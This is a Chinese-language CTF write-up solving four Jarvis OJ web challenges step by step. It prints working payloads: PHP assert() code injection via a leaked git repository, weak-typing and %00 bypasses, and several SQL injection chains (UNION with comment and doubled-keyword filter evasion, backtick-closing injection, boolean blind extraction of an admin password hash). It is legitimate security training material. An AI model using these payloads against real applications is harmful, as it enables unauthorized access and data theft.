WEB
babyphp
题目入口:http://web.jarvisoj.com:32798/
看到说了用git考虑到git泄露
试一下http://web.jarvisoj.com:32798/.git/HEAD
确定存在泄露,祭出工具GitHack
1 | python GitHack.py http://web.jarvisoj.com:32798/.git/ |
泄露的flag.php文件肯定是没有flag的,主要还是看index.php
index.php关键代码
1 |
|
我们可以传进一个$page,然后$page会和$file进行拼接,最后assert()中的表达式用到了$file。那么就可以通过构造$page进行代码注入,使assert()执行php代码。
我们构造
1 | ?page='.show_source('templates/flag.php').' |
拼接后的$file就是
1 | templates/'.show_source('templates/flag.php').'.php |
这样assert()的参数就不再是表达式而是字符串,那么assert()就会将这个字符串当作php代码执行。
所以我们构造的show_source('templates/flag.php')就会被执行。
1 | 61dctf{8e_careful_when_us1ng_ass4rt} |
IN A Mess
题目入口:http://web.jarvisoj.com:32780/
进入看到
查看源代码发现
1 | <!--index.phps-->work harder!harder!harder! |
访问index.phps拿到源码
1 |
|
分析
- 如果$id传0就会跳转但下面的条件有$id==0,这里利用弱类型比较可以传字符也可以用0e去绕过。
1
2$id=asd
$id=0e1234 - $a可以使用伪协议php://input也可以用data类型url
1
2$a=php://input #然后POST一个内容为1112 is a nice lab!的body
$a=data:,1112 is a nice lab! #data类型url - $b可以采用%00去截断,%00在strlen()不截断在substr()中会截断所以substr($b,0,1)就截取不到东西所以eregi(“111”,”1114”),substr($b,0,1)!=4都成立。 payload:
1
$b=%0012345
1
?id=asd&a=data:,1112 is a nice lab!&b=%00123345
返回一个/^HT2mCpcvOLf看起来像文件,访问发现是个目录名
源代码没东西,有个id参数,加个单引号
爆语句,应该是sql注入,测试一下过滤。
id等于1和0正常返回hi666,其它数字则会爆出语句。
空格会被拦截,union,select等关键词被过滤。
绕过姿势:空格用注释绕过/*1*/,关键词可用双写绕过,然后就是常规手工注入了。
测字段数3列,找回显位1
index.php?id=1/*1*/order/*1*/by/*1*/3
回显位只有3,接下来爆表名1
index.php?id=-1/*1*/uniunionon/*1*/seleselectct/*1*/1,2,3
返回表名为content,然后爆列名1
index.php?id=-1/*1*/uniunionon/*1*/seleselectct/*1*/1,2,table_name/*1*/frofromm/*1*/information_schema.tables/*1*/where/*1*/table_schema=database()
这里content要用十六进制编码,然后爆出了id,context,title三个列名,按直觉直接查context列1
2
3index.php?id=-1/*1*/uniunionon/*1*/seleselectct/*1*/1,2,column_name/*1*/frofromm/*1*/information_schema.columns/*1*/where/*1*/table_name=0x636f6e74656e74/*1*/limit/*1*/0,1
index.php?id=-1/*1*/uniunionon/*1*/seleselectct/*1*/1,2,column_name/*1*/frofromm/*1*/information_schema.columns/*1*/where/*1*/table_name=0x636f6e74656e74/*1*/limit/*1*/1,1
index.php?id=-1/*1*/uniunionon/*1*/seleselectct/*1*/1,2,column_name/*1*/frofromm/*1*/information_schema.columns/*1*/where/*1*/table_name=0x636f6e74656e74/*1*/limit/*1*/2,1拿到flag1
index.php?id=-1/*1*/uniunionon/*1*/seleselectct/*1*/1,2,context/*1*/frofromm/*1*/content
1
PCTF{Fin4lly_U_got_i7_C0ngRatulation5}
inject
题目入口:http://web.jarvisoj.com:32794/
注入题,然后访问页面只显示个flag{xxx},源代码里什么也没有。
hint说要先找到源代码
估计是有泄露,用扫描器扫一下找到了index.php~
1 |
|
参数是table,如果没有传参$table就等于test。
Filter()是自定义的一个过滤函数。
测试了一下当table不等于test的时候就会输出Hello Hacker。可以知道是执行了Hacker()函数,说明前面的mysqli_query()执行不成功。
看到mysqli_query()的执行语句是
1 | desc `secret_{$table}` |
desc命令可以用来查看表结构也可以用来排序,看本题中的用法可以知道是查看表结构,所以desc命令后面接的表名要存在才能执行成功。
而语句中用了反引号,那么就可以采用闭合反引号来进行注入。
尝试构造
1 | ?table=test` `union select user() |
闭合后
1 | desc `secret_test` `union select user()` |
因为secret_test表存在所以desc语句成功执行。
接下来拼接的sql语句就变为
1 | select 'flag{xxx}' from secret_test` `union select user() |
语句中的两个反引号就相当于空格了,但是回显仍然是flag{xxx}。
这是因为只echo查询结果中的第一条记录。所以我们需要使用limit来进行约束。
1 | ?table=test` `union select user() limit 1,1 |
拿到了当前用户,接下来就可以进行常规的注入操作了。
查询表名
1 | index.php?table=test` `union select table_name from information_schema.tables where table_schema=database() limit 1,1 |
返回表名为secret_flag,然后查字段名
1 | index.php?table=test` `union select column_name from information_schema.columns where table_name=0x7365637265745f666c6167 limit 1,1 |
返回字段名为flagUwillNeverKnow,爆值
1 | index.php?table=test` `union select flagUwillNeverKnow from secret_flag limit 1,1 |
拿到flag
1 | flag{luckyGame~} |
Simple Injection
题目入口:http://web.jarvisoj.com:32787/
访问显示一个登录框
发现用户名为admin时,显示密码错误,其它则显示用户名错误。测试一下万能密码不行。用户名查询和密码查询是分开写的。
考虑在用户名这个可以采用布尔注入。
测试一下:
1 | username=admin' and '1'='1'#&password=2 //显示密码错误,说明用户名查询为真 |
后面踩了些坑,具体不叙述,测试发现是过滤了空格,所以采用注释的形式绕过。
尝试手工爆数据库名
1 | username=admin'/*1*/and/*1*/ascii(substr(database(),1,1))>100#&password=2 //密码错误 |
按照逻辑,库名第一个字符的ascii>104为真,>105为假,那就是105了,对应'i'字符。
接下来写脚本进行测试
1 | import requests, string |
脚本测试通过。
那么只需修改一下语句就可以爆表、字段和值了。下面给相关语句:
爆表名
1 | admin'/*1*/and/*1*/ascii(substr((select/*1*/table_name/*1*/from/*1*/information_schema.tables/*1*/where/*1*/table_schema=database()),1,1))=1# |
得到表名为admin,再爆列名
1 | admin'/*1*/and/*1*/ascii(substr((select/*1*/group_concat(column_name)/*1*/from/*1*/information_schema.columns/*1*/where/*1*/table_name=0x61646d696e),1,1))=1# |
用group_concat爆出表名有id,username,password
再把值爆出来,为了方便,只爆password字段
1 | admin'/*1*/and/*1*/ascii(substr((select/*1*/group_concat(password)/*1*/from/*1*/admin),1,1))=1# |
MD5加密,解密得明文:eTAloCrEP
登录得到flag
1 | CTF{s1mpl3_1nJ3ction_very_easy!!} |